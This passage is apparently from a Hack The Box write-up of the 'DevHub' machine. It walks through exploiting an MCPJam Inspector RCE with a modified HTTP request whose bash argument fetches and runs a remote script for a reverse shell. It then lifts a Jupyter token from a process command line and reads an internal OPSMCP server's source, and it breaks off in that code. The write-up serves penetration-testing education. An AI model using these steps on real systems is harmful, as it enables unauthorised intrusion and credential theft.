|     HTTP/1.1 204 No Content
|     access-control-allow-credentials: true
|     access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
|     vary: Origin
|     content-type: text/plain; charset=UTF-8
|     Date: Sun, 31 May 2026 07:21:12 GMT
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6274-TCP:V=7.98%I=7%D=5/31%Time=6A1BE16D%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,290,"HTTP/1\.1\x20200\x20OK\r\naccess-control-allow-credential
SF:s:\x20true\r\ncontent-length:\x20466\r\ncontent-type:\x20text/html;\x20
SF:charset=utf-8\r\nvary:\x20Origin\r\nDate:\x20Sun,\x2031\x20May\x202026\
SF:x2007:21:11\x20GMT\r\nConnection:\x20close\r\n\r\n&lt;!doctype\x20html&gt;\n&lt;
SF:html\x20lang=\"en\"&gt;\n\x20\x20&lt;head&gt;\n\x20\x20\x20\x20&lt;meta\x20charset=
SF:\"UTF-8\"\x20/&gt;\n\x20\x20\x20\x20&lt;link\x20rel=\"icon\"\x20type=\"image/
SF:svg\+xml\"\x20href=\"/mcp_jam\.svg\"\x20/&gt;\n\x20\x20\x20\x20&lt;meta\x20na
SF:me=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\
SF:"\x20/&gt;\n\x20\x20\x20\x20&lt;title&gt;MCPJam\x20Inspector&lt;/title&gt;\n\x20\x20\x
SF:20\x20&lt;script\x20type=\"module\"\x20crossorigin\x20src=\"/assets/index-
SF:DRYhT9Xb\.js\"&gt;&lt;/script&gt;\n\x20\x20\x20\x20&lt;link\x20rel=\"stylesheet\"\x
SF:20crossorigin\x20href=\"/assets/index-XvFRNbCs\.css\"&gt;\n\x20\x20&lt;/head&gt;
SF:\n\x20\x20&lt;body&gt;\n\x20\x20\x20\x20&lt;div\x20id=\"root\"&gt;&lt;/div&gt;\n\x20\x20&lt;
SF:/body&gt;\n&lt;/html&gt;\n")%r(HTTPOptions,F0,"HTTP/1\.1\x20204\x20No\x20Content
SF:\r\naccess-control-allow-credentials:\x20true\r\naccess-control-allow-m
SF:ethods:\x20GET,HEAD,PUT,POST,DELETE,PATCH\r\nvary:\x20Origin\r\ncontent
SF:-type:\x20text/plain;\x20charset=UTF-8\r\nDate:\x20Sun,\x2031\x20May\x2
SF:02026\x2007:21:12\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPReques
SF:t,F0,"HTTP/1\.1\x20204\x20No\x20Content\r\naccess-control-allow-credent
SF:ials:\x20true\r\naccess-control-allow-methods:\x20GET,HEAD,PUT,POST,DEL
SF:ETE,PATCH\r\nvary:\x20Origin\r\ncontent-type:\x20text/plain;\x20charset
SF:=UTF-8\r\nDate:\x20Sun,\x2031\x20May\x202026\x2007:21:12\x20GMT\r\nConn
SF:ection:\x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F,"HTTP
SF:/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSS
SF:tatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConn
SF:ection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x20Bad\
SF:x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looks like we have <code class="language-plaintext highlighter-rouge">3</code> ports open.</p>

<table id="bkmrk-port-service-22-open"><thead><tr><th>port</th><th>service</th></tr></thead><tbody><tr><td>22</td><td>OpenSSH 8.9p1</td></tr><tr><td>80</td><td>nginx 1.18.0</td></tr><tr><td>6274  
</td><td>MCPJam Inspector 1.4.2</td></tr></tbody></table>

<h2 id="openssh">OpenSSH</h2>

<p>We’ve seen this version of <code class="language-plaintext highlighter-rouge">OpenSSH</code> time and time again without any new critical vulnerabilities found. Moving on.</p>

<h2 id="nginx-1180">Nginx 1.18.0</h2>

<p>Visiting the webpage http://devhub.htb we’re greeted with a static site that shows a little too much information about the backend tech stack. <a href="https://www.alexandriasec.net/uploads/images/gallery/2026-06/sUZrXnId4OSZn12M-image-1780838673490.png"><img src="https://www.alexandriasec.net/uploads/images/gallery/2026-06/scaled-1680-/sUZrXnId4OSZn12M-image-1780838673490.png" alt="" /></a></p>

<h2 id="mcpjam-inspector">MCPJam Inspector</h2>

<p>Visiting the webpage on http://devhub.htb:6274 we’re greeted with an <code class="language-plaintext highlighter-rouge">MCPJam Inspector</code> page, navigating to <code class="language-plaintext highlighter-rouge">settings</code> shows us that the version is <code class="language-plaintext highlighter-rouge">1.4.2</code> which is vulnerable to a <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-23744">Critical 9.8 CVE-2026-23744</a>
<img src="/assets/img/img_devhub/0016.jpeg" alt="" /></p>

<h1 id="user">User</h1>

<h2 id="mcpjam-inspector-rce">MCPJam Inspector RCE</h2>

<p>Let’s start off by going to the <code class="language-plaintext highlighter-rouge">Servers</code> tab in <code class="language-plaintext highlighter-rouge">MCPJam Inspector</code> and creating a new server connection, I’ll also make sure all this web traffic is going through my <code class="language-plaintext highlighter-rouge">web proxy: Caido</code>. 
<img src="/assets/img/img_devhub/0017.jpeg" alt="" /></p>

<p>I get the following <code class="language-plaintext highlighter-rouge">http</code> request in my <code class="language-plaintext highlighter-rouge">HTTP History</code> in <code class="language-plaintext highlighter-rouge">Caido</code></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/api/mcp/connect</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">devhub.htb:6274</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://devhub.htb:6274/</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">sentry-trace</span><span class="p">:</span> <span class="s">8325de4fbd5f4012887350d857d9f10d-a46973c3a6fe3442-0</span>
<span class="na">baggage</span><span class="p">:</span> <span class="s">sentry-environment=prod,sentry-release=af9cf6a62f550e986fe330c09b8a3b8b83136df6,sentry-public_key=c9df3785c734acfe9dad2d0c1e963e28,sentry-trace_id=8325de4fbd5f4012887350d857d9f10d,sentry-sample_rate=0.1,sentry-sampled=false</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">133</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://devhub.htb:6274</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=%7B%22%24device_id%22%3A%22019e7cef-3c99-7986-bada-1c3a1a0b1368%22%2C%22distinct_id%22%3A%22019e7cef-3c99-7986-bada-1c3a1a0b1368%22%2C%22%24sesid%22%3A%5B1780213182472%2C%22019e7cef-3ccd-7506-b3a9-9a67042bffcd%22%2C1780212513996%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C%22u%22%3A%22http%3A%2F%2Fdevhub.htb%3A6274%2F%22%7D%7D</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

<span class="p">{</span><span class="nl">"serverConfig"</span><span class="p">:{</span><span class="nl">"timeout"</span><span class="p">:</span><span class="mi">10000</span><span class="p">,</span><span class="nl">"command"</span><span class="p">:</span><span class="s2">"npx"</span><span class="p">,</span><span class="nl">"args"</span><span class="p">:[</span><span class="s2">"-y"</span><span class="p">,</span><span class="s2">"@modelcontextprotocol/server-everything"</span><span class="p">],</span><span class="nl">"env"</span><span class="p">:{}},</span><span class="nl">"serverId"</span><span class="p">:</span><span class="s2">"w1ld"</span><span class="p">}</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>I’ll modify the <code class="language-plaintext highlighter-rouge">command</code> to <code class="language-plaintext highlighter-rouge">bash</code> and use the arguments to execute a <code class="language-plaintext highlighter-rouge">reverse shell command</code></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/api/mcp/connect</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">devhub.htb:6274</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://devhub.htb:6274/</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">sentry-trace</span><span class="p">:</span> <span class="s">0b749535174b48dc829fea97a1052aa5-9e015479fbc96b19-0</span>
<span class="na">baggage</span><span class="p">:</span> <span class="s">sentry-environment=prod,sentry-release=af9cf6a62f550e986fe330c09b8a3b8b83136df6,sentry-public_key=c9df3785c734acfe9dad2d0c1e963e28,sentry-trace_id=0b749535174b48dc829fea97a1052aa5,sentry-sample_rate=0.1,sentry-sampled=false</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">147</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://devhub.htb:6274</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">ph_phc_dTOPniyUNU2kD8Jx8yHMXSqiZHM8I91uWopTMX6EBE9_posthog=%7B%22%24device_id%22%3A%22019e7cef-3c99-7986-bada-1c3a1a0b1368%22%2C%22distinct_id%22%3A%22019e7cef-3c99-7986-bada-1c3a1a0b1368%22%2C%22%24sesid%22%3A%5B1780213726266%2C%22019e7cef-3ccd-7506-b3a9-9a67042bffcd%22%2C1780212513996%5D%2C%22%24initial_person_info%22%3A%7B%22r%22%3A%22%24direct%22%2C%22u%22%3A%22http%3A%2F%2Fdevhub.htb%3A6274%2F%22%7D%7D</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0</span>

<span class="p">{</span><span class="nl">"serverConfig"</span><span class="p">:{</span><span class="nl">"timeout"</span><span class="p">:</span><span class="mi">10000</span><span class="p">,</span><span class="nl">"command"</span><span class="p">:</span><span class="s2">"bash"</span><span class="p">,</span><span class="nl">"args"</span><span class="p">:[</span><span class="s2">"-c"</span><span class="p">,</span><span class="s2">"wget http://10.10.14.3:3232/w1ld.sh -S -O - | /bin/bash"</span><span class="p">],</span><span class="nl">"env"</span><span class="p">:{}},</span><span class="nl">"serverId"</span><span class="p">:</span><span class="s2">"w1ld"</span><span class="p">}</span><span class="w">

</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>This proceeds to hang and then <code class="language-plaintext highlighter-rouge">500</code> but I do receive a callback on my listener.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector<span class="err">$</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="internal-jupyter-lab">Internal Jupyter Lab</h2>

<p>Doing some initial <code class="language-plaintext highlighter-rouge">reconnaissance</code> we can find the <code class="language-plaintext highlighter-rouge">analyst</code> user is running a <code class="language-plaintext highlighter-rouge">jupyter-lab</code> instance.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>mcp-dev@devhub:~<span class="nv">$ </span>ps <span class="nt">-ef</span> <span class="nt">--forest</span>
&lt;SNIP&gt;
analyst     1025       1  0 06:51 ?        00:00:06 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab <span class="nt">--ip</span><span class="o">=</span>127.0.0.1 <span class="nt">--port</span><span class="o">=</span>8888 <span class="nt">--no-browser</span> <span class="nt">--notebook-dir</span><span class="o">=</span>/

</pre></td></tr></tbody></table></code></pre></div></div>

<p>It’s running on <code class="language-plaintext highlighter-rouge">port 8888</code> I’ll forward this port, there’s several ways to do this, I recommend putting a <code class="language-plaintext highlighter-rouge">public ssh key</code> in <code class="language-plaintext highlighter-rouge">mcp-dev's home directory</code> then using <code class="language-plaintext highlighter-rouge">ssh</code>.</p>

<p>Visiting the <code class="language-plaintext highlighter-rouge">Jupyter-lab</code> we’re greeted by a <code class="language-plaintext highlighter-rouge">Login</code> Page. 
<img src="/assets/img/img_devhub/0018.jpeg" alt="" /></p>

<p>The command for the <code class="language-plaintext highlighter-rouge">jupyter-lab</code> shown in the <code class="language-plaintext highlighter-rouge">ps -ef</code> output seems to be cut-off, let’s grab the entire <code class="language-plaintext highlighter-rouge">cmdline</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector<span class="nv">$ </span><span class="nb">cat</span> /proc/1025/cmdline
/home/analyst/jupyter-env/bin/python3/home/analyst/jupyter-env/bin/jupyter-lab--ip<span class="o">=</span>127.0.0.1--port<span class="o">=</span>8888--no-browser--notebook-dir<span class="o">=</span>/home/analyst/notebooks--ServerApp.token<span class="o">=</span>a7f3b2c9d8[REDACTED]--ServerApp.password<span class="o">=</span><span class="nt">--ServerApp</span>.allow_origin<span class="o">=</span><span class="nt">--ServerApp</span>.disable_check_xsrf<span class="o">=</span>False

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We find a <code class="language-plaintext highlighter-rouge">cleartext token</code> being input in the command we can use this <code class="language-plaintext highlighter-rouge">token</code> to authenticate and we’re directed to the <code class="language-plaintext highlighter-rouge">lab</code>, let’s use a <code class="language-plaintext highlighter-rouge">terminal notebook</code>
<img src="/assets/img/img_devhub/0019.jpeg" alt="" /></p>

<p>I’ll grab a <code class="language-plaintext highlighter-rouge">reverse shell</code> to make it more stable.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>analyst@devhub:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span> user.txt
4.0K <span class="nt">-rw-r-----</span> 1 root analyst 33 May 31 06:51 user.txt

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">user</code> flag.</p>

<h1 id="root">Root</h1>

<h2 id="opsmcp-custom-service">OPSMCP custom Service</h2>

<p>Taking a look around we can find an <code class="language-plaintext highlighter-rouge">opsmcp key</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre>analyst@devhub:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span>
total 56K
4.0K drwxr-x--- 9 analyst analyst 4.0K May 31 08:27 <span class="nb">.</span>
4.0K drwxr-xr-x 4 root    root    4.0K Mar 16 21:25 ..
   0 <span class="nt">-rw-------</span> 1 analyst analyst    0 May 27 12:22 .bash_history
4.0K <span class="nt">-rw-r--r--</span> 1 analyst analyst  220 Jan  6  2022 .bash_logout
4.0K <span class="nt">-rw-r--r--</span> 1 analyst analyst 3.7K Jan  6  2022 .bashrc
4.0K drwx------ 2 analyst analyst 4.0K Jan 22 16:05 .cache
4.0K drwxr-xr-x 3 analyst analyst 4.0K May 26 08:42 .ipython
4.0K drwxr-xr-x 3 analyst analyst 4.0K May 31 08:25 .jupyter
4.0K drwxr-xr-x 7 analyst analyst 4.0K Jan 22 15:06 jupyter-env
   0 lrwxrwxrwx 1 root    root       9 Jan 23 15:37 .lesshst -&gt; /dev/null
4.0K drwxr-xr-x 3 analyst analyst 4.0K Jan 22 15:08 .local
   0 lrwxrwxrwx 1 root    root       9 Jan 23 15:37 .node_repl_history -&gt; /dev/null
4.0K drwxr-xr-x 3 analyst analyst 4.0K May 26 08:42 notebooks
4.0K drwxr-xr-x 3 analyst analyst 4.0K Jan 22 15:08 .npm
4.0K <span class="nt">-rw-------</span> 1 analyst analyst   35 Mar 16 21:49 .opsmcp_key
4.0K <span class="nt">-rw-r--r--</span> 1 analyst analyst  807 Jan  6  2022 .profile
   0 lrwxrwxrwx 1 root    root       9 Jan 23 15:37 .python_history -&gt; /dev/null
4.0K <span class="nt">-rw-r-----</span> 1 root    analyst   33 May 31 06:51 user.txt
   0 lrwxrwxrwx 1 root    root       9 Jan 23 15:37 .viminfo -&gt; /dev/null
   
analyst@devhub:~<span class="nv">$ </span><span class="nb">cat</span> .opsmcp_key 
opsmcp_se[REDACTED]

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Earlier we also found that <code class="language-plaintext highlighter-rouge">root</code> is running an <code class="language-plaintext highlighter-rouge">opsmcp</code> server</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>root        1032  0.0  0.7  37376 28784 ?        Ss   06:51   0:02 /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can read the <code class="language-plaintext highlighter-rouge">server.py</code> file as <code class="language-plaintext highlighter-rouge">analyst</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>analyst@devhub:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-lash</span> /opt/opsmcp/server.py
8.0K <span class="nt">-rw-r-----</span> 1 analyst analyst 5.9K May 31 08:31 /opt/opsmcp/server.py

</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s take a look inside</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python3
</span><span class="s">"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""</span>

<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">jsonify</span><span class="p">,</span> <span class="n">request</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>

<span class="c1"># API Key for authentication
</span><span class="n">VALID_API_KEY</span> <span class="o">=</span> <span class="s">"opsmcp_se[REDACTED]"</span>

<span class="c1"># Registered tools (visible)
</span><span class="n">VISIBLE_TOOLS</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"ops.system_status"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="s">"Get system status and health metrics"</span><span class="p">,</span>
        <span class="s">"parameters"</span><span class="p">:</span> <span class="p">{}</span>
    <span class="p">},</span>
    <span class="s">"ops.list_services"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="s">"List running services"</span><span class="p">,</span>
        <span class="s">"parameters"</span><span class="p">:</span> <span class="p">{}</span>
    <span class="p">},</span>
    <span class="s">"ops.check_disk"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="s">"Check disk usage"</span><span class="p">,</span>
        <span class="s">"parameters"</span><span class="p">:</span> <span class="p">{}</span>
    <span class="p">},</span>
    <span class="s">"ops.view_logs"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="s">"View recent system logs"</span><span class="p">,</span>
        <span class="s">"parameters"</span><span class="p">:</span> <span class="p">{</span><span class="s">"service"</span><span class="p">:</span> <span class="s">"string"</span><span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="c1"># Hidden tools (not in /tools/list but callable)
</span><span class="n">HIDDEN_TOOLS</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"ops._admin_dump"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="s">"Emergency credential dump - INTERNAL ONLY"</span><span class="p">,</span>
        <span class="s">"parameters"</span><span class="p">:</span> <span class="p">{</span><span class="s">"target"</span><span class="p">:</span> <span class="s">"string"</span><span class="p">,</span> <span class="s">"confirm"</span><span class="p">:</span> <span class="s">"boolean"</span><span class="p">}</span>
    <span class="p">},</span>
    <span class="s">"ops._debug_mode"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"description"</span><span class="p">:</span> <span class="s">"Enable debug mode"</span><span class="p">,</span>
        <span class="s">"parameters"</span><span class="p">:</span> <span class="p">{}</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="n">ALL_TOOLS</span> <span class="o">=</span> <span class="p">{</span><span class="o">**</span><span class="n">VISIBLE_TOOLS</span><span class="p">,</span> <span class="o">**</span><span class="n">HIDDEN_TOOLS</span><span class="p">}</span>

<span class="k">def</span> <span class="nf">check_auth</span><span class="p">():</span>
    <span class="s">"""Check API key authentication"""</span>
    <span class="n">api_key</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'X-API-Key'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">api_key</span> <span class="o">==</span> <span class="n">VALID_API_KEY</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
        <span class="s">"server"</span><span class="p">:</span> <span class="s">"OPSMCP"</span><span class="p">,</span>
        <span class="s">"version"</span><span class="p">:</span> <span class="s">"2.1.0"</span><span class="p">,</span>
        <span class="s">"status"</span><span class="p">:</span> <span class="s">"operational"</span><span class="p">,</span>
        <span class="s">"endpoints"</span><span class="p">:</span> <span class="p">[</span><span class="s">"/tools/list"</span><span class="p">,</span> <span class="s">"/tools/call"</span><span class="p">,</span> <span class="s">"/health"</span><span class="p">],</span>
        <span class="s">"auth"</span><span class="p">:</span> <span class="s">"Required - X-API-Key header"</span>
    <span class="p">})</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/health'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">health</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">"status"</span><span class="p">:</span> <span class="s">"healthy"</span><span class="p">,</span> <span class="s">"uptime"</span><span class="p">:</span> <span class="s">"14d 3h 22m"</span><span class="p">})</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/tools/list'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">list_tools</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">check_auth</span><span class="p">():</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">"error"</span><span class="p">:</span> <span class="s">"Unauthorized"</span><span class="p">,</span> <span class="s">"message"</span><span class="p">:</span> <span class="s">"Valid X-API-Key header required"</span><span class="p">}),</span> <span class="mi">401</span>
    
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
        <span class="s">"tools"</span><span class="p">:</span> <span class="nb">list</span><span class="p">(</span><span class="n">VISIBLE_TOOLS</span><span class="p">.</span><span class="n">keys</span><span class="p">()),</span>
        <span class="s">"count"</span><span class="p">:</span> <span class="nb">len</span><span class="p">(</span><span class="n">VISIBLE_TOOLS</span><span class="p">),</span>
        <span class="s">"details"</span><span class="p">:</span> <span class="n">VISIBLE_TOOLS</span>
    <span class="p">})</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/tools/call'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">call_tool</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">check_auth</span><span class="p">():</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">"error"</span><span class="p">:</span> <span class="s">"Unauthorized"</span><span class="p">,</span> <span class="s">"message"</span><span class="p">:</span> <span class="s">"Valid X-API-Key header required"</span><span class="p">}),</span> <span class="mi">401</span>
    
    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">get_json</span><span class="p">()</span> <span class="ow">or</span> <span class="p">{}</span>
    <span class="n">tool_name</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'name'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
    <span class="n">args</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'arguments'</span><span class="p">,</span> <span class="p">{})</span>
    
    <span class="k">if</span> <span class="ow">not</span> <span class="n">tool_name</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">"error"</span><span class="p">:</span> <span class="s">"Tool name required"</span><span class="p">}),</span> <span class="mi">400</span>
    
    <span class="k">if</span> <span class="n">tool_name</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">ALL_TOOLS</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">"error"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"Unknown tool: </span><span class="si">{</span><span class="n">tool_name</span><span class="si">}</span><span class="s">"</span><span class="p">}),</span> <span class="mi">404</span>
    
    <span class="c1"># Execute tool
</span>    <span class="k">if</span> <span class="n">tool_name</span> <span class="o">==</span> <span class="s">"ops.system_status"</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
            <span class="s">"cpu"</span><span class="p">:</span> <span class="s">"23%"</span><span class="p">,</span>
            <span class="s">"memory"</span><span class="p">:</span> <span class="s">"1.2GB/4GB"</span><span class="p">,</span>
            <span class="s">"load"</span><span class="p">:</span> <span class="s">"0.45"</span><span class="p">,</span>
            <span class="s">"status"</span><span class="p">:</span> <span class="s">"nominal"</span>
        <span class="p">})</span>
    
    <span class="k">elif</span> <span class="n">tool_name</span> <span class="o">==</span> <span class="s">"ops.list_services"</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span>
            <span class="s">"services"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span><span class="s">"name"</span><span class="p">:</span> <span class="s">"nginx"</span><span class="p">,</span> <span class="s">"status"</span><span class="p">:</span> <span class="s">"running"</span><span class="p">,</span> <span class="s">"pid"</span><span class="p">:</span> <span class="mi">1234</span><span class="p">},</span>
